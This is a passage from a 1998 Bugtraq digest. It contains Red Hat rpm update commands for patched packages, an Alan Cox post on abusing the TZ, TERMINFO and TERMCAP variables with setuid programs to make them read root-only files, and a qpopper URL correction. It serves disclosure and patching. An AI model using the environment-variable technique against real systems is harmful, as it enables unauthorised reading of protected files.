rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/bind-4.9.7-1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/slang-0.99.38-2.1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/tin-1.22-8.1.alpha.rpm
Red Hat 4.2
-------------
i386:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/metamail-2.7-7.5.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/mailx-8.1.1-0.2.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/bind-4.9.7-0.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/slang-0.99.38-0.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/tin-1.22-6.1.i386.rpm
alpha:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/metamail-2.7-7.5.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/mailx-8.1.1-0.2.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/bind-4.9.7-0.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/slang-0.99.38-0.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/tin-1.22-6.1.alpha.rpm
sparc:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/metamail-2.7-7.5.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/mailx-8.1.1-0.2.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/bind-4.9.7-0.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/slang-0.99.38-0.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/tin-1.22-6.1.sparc.rpm
ÜÜ
ÞßÛ² ÜÛÜ
²°ÞÛÝ ÞÛß°Û
Û²Þ² °Ý²°Ý
ÞÛÞÝ ÞÝ°Ý
ÛÛÝ ÞÞÛ
ÞÛ² °ÛÝ
ÜÜÜ ÛÛÝ ÞÛÛ
ܲ²ÛÛÜÛÛÛ²ÜÛܲÛÝÜÜ
²ÛÛÛÛÛ² ßÛÛÛÛÛÛÛÛÜÛ²²Ü
ÞÛ۲߲ÛÛÛÛÛÛÛÛÛÛß ²ÛÛÛÛ²
²Û± Ü ßßßßß²²ÛÛÛÛÛÛ°ßÛÛÝ
ß²ÜÜ ßÛ ²Ü ÜÜ ßßßÜ ÛÛ²
ßßÜÜ ßß ßß ßß Üܲß
ßßßßßßßßßß
r 0 0 t i n d u s t r i e s
[twiztah@maxho.com, promo@bway.net]
------------------------------
Date: Wed, 1 Jul 1998 00:42:10 +2500
From: Alan Cox
Subject: Environment variables (SECURITY: too many new packages)
Bugtraq readers who haven't been following the Linux security audit
project (from whence most of the Red Hat fixes came - and other vendors
will I assume be issuing identical updates) might like to take a look
at how their own OS handles pointing the following at files only root
can read and running setuid apps. (or setgid usage in some cases such as
Mutt)
TZ
TERMINFO
TERMCAP
There are lots of files which when read do 'interesting' things, and termcap
in paticular is fun because it tends to read the entire floppy/tape/memory
etc before it gives up.
This raises another related question. Has anyone ever tried to build the
complete list of environment influenced file opens in not just libc but
all the supporting libraries in unix systems ?
A PS item btw: 2.0.35pre3 fixes the bug reported with SIGIO, and it should
be out as 2.0.35 proper RSN - 2.0.35pre3 is a release candidate. We hadn't
planned on a 2.0.35 release quite that soon but such is life.
Alan
------------------------------
Date: Tue, 30 Jun 1998 19:27:13 -0500
From: Aleph One
Subject: Qualcomm's qpopper 2.5
The correct URL is
ftp://ftp.qualcomm.com/oldeudora/servers/unix/popper/qpopper2.5.tar.Z
Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
------------------------------
End of BUGTRAQ Digest - 29 Jun 1998 to 30 Jun 1998
**************************************************